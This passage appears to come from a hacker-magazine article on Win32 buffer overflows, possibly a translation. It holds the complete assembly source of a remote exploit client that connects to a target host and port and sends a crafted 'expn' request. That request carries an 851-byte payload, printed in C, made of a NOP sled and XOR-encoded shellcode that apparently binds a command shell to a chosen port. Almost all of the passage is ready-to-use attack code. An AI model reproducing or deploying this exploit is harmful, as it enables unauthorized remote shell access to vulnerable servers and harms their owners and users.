? iMaxUdpDg dw ? lpVendorInfo dw ? WSAdata ends sockaddr_in struct sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockaddr_in ends wsadata WSAdata sin sockaddr_in sock dd ? numbase dd 10 _port db 256 dup (?) _host db 256 dup (?) _port2 db 256 dup (?) buffer db 1000 dup (0) .code start: call init_console push logolen push offset logo call write_console call GetCommandLineA mov edi, eax mov ecx, -1 xor al, al push edi repnz scasb not ecx pop edi mov al, 20h repnz scasb dec ecx cmp ch, 0ffh jz @@0 test ecx, ecx jnz @@1 @@0: push nohostl push offset nohost call write_console jmp quit3 @@1: mov esi, edi lea edi, _host call parse or ecx, ecx jnz @@2 push noportl push offset noport call write_console jmp quit3 @@2: lea edi, _port call parse or ecx, ecx jnz @@3 push no_port2l push offset no_port2 call write_console jmp quit3 @@3: push ecx lea edi, _port2 call parse push offset wsadata push 0101h call WSAStartup or eax, eax jz winsock_found push errorinitl push offset errorinit call write_console jmp quit3 winsock_found: xor eax, eax push eax inc eax push eax inc eax push eax call socket cmp eax, -1 jnz socket_ok push sockerrl push offset sockerr call write_console jmp quit2 socket_ok: mov sock, eax mov sin.sin_family, 2 mov ebx, offset _port call str2num mov eax, edx push eax call htons mov sin.sin_port, ax mov ebx, offset _port2 call str2num mov eax, edx push eax call htons xor ax, 09999h mov store, ax mov esi, offset _host lewp: xor al, al lodsb cmp al, 039h ja gethost test al, al jnz lewp push offset _host call inet_addr cmp eax, -1 jnz ip_aight push ipilll push offset ipill call write_console jmp quit1 ip_aight: mov sin.sin_addr, eax jmp continue gethost: push offset _host call gethostbyname test eax, eax jnz gothost push reshostl push offset reshost call write_console jmp quit1 gothost: mov eax, [eax+0ch] mov eax, [eax] mov eax, [eax] mov sin.sin_addr, eax continue: push size sin push offset sin push sock call connect or eax, eax jz connect_ok push cnerrorl push offset cnerror call write_console jmp quit1 connect_ok: push respl push offset response call write_console xor eax, eax push eax push 1000 push offset buffer push sock call recv or eax, eax jg sveet push derrorl push offset derror call write_console jmp quit1 sveet: push eax push offset buffer call write_console xor eax, eax push eax push sploit_length push offset sploit push sock call send push successl push offset success call write_console quit1: push sock call closesocket quit2: call WSACleanup quit3: push 0 call ExitProcess parse proc ;cheap parsing.. lewp9: xor eax, eax cld lodsb cmp al, 20h jz done test al, al jz done2 stosb dec ecx jmp lewp9 done: dec ecx done2: ret endp str2num proc push eax ecx edi xor eax, eax xor ecx, ecx xor edx, edx xor edi, edi lewp2: xor al, al xlat test al, al jz end_it sub al, 030h mov cl, al mov eax, edx mul numbase add eax, ecx mov edx, eax inc ebx inc edi cmp edi, 0ah jnz lewp2 end_it: pop edi ecx eax ret endp init_console proc push -10 call GetStdHandle or eax, eax je init_error mov [console_in], eax push -11 call GetStdHandle or eax, eax je init_error mov [console_out], eax ret init_error: push 0 call ExitProcess endp write_console proc text_out:dword, text_len:dword pusha push 0 push offset bytes_read push text_len push text_out push console_out call WriteConsoleA popa ret endp end start ;--(code ends)------------------------------------------------------------ <--> Here is the shellcode in c format: <++> P55/Win32-overflows/slxploit-shellcode.c !f4bcdaf5 #define sploit_length 851 unsigned char sploit[851] = { 0x65, 0x78, 0x70, 0x6e, 0x20, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x07, 0x90, 0xaa, 0x1c, 0x9c, 0x77, 0x90, 0x90, 0x90, 0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6, 0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb, 0x99, 0x10, 0x11, 0x44, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13, 0xab, 0x59, 0x5a, 0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0x10, 0x56, 0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13, 0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff, 0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50, 0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56, 0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4, 0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b, 0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47, 0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50, 0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0, 0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50, 0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1, 0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8, 0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x50, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33, 0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53, 0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac, 0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff, 0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1, 0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0, 0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 0x00, 0x00, // el valor de word para el puerto bind, el cliente debe mod and XOR con 0x99 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0x0d, 0x0a}; <--> ----[ EOF /* finished translation Sun Dec 24 17:16:20 CET 2000 */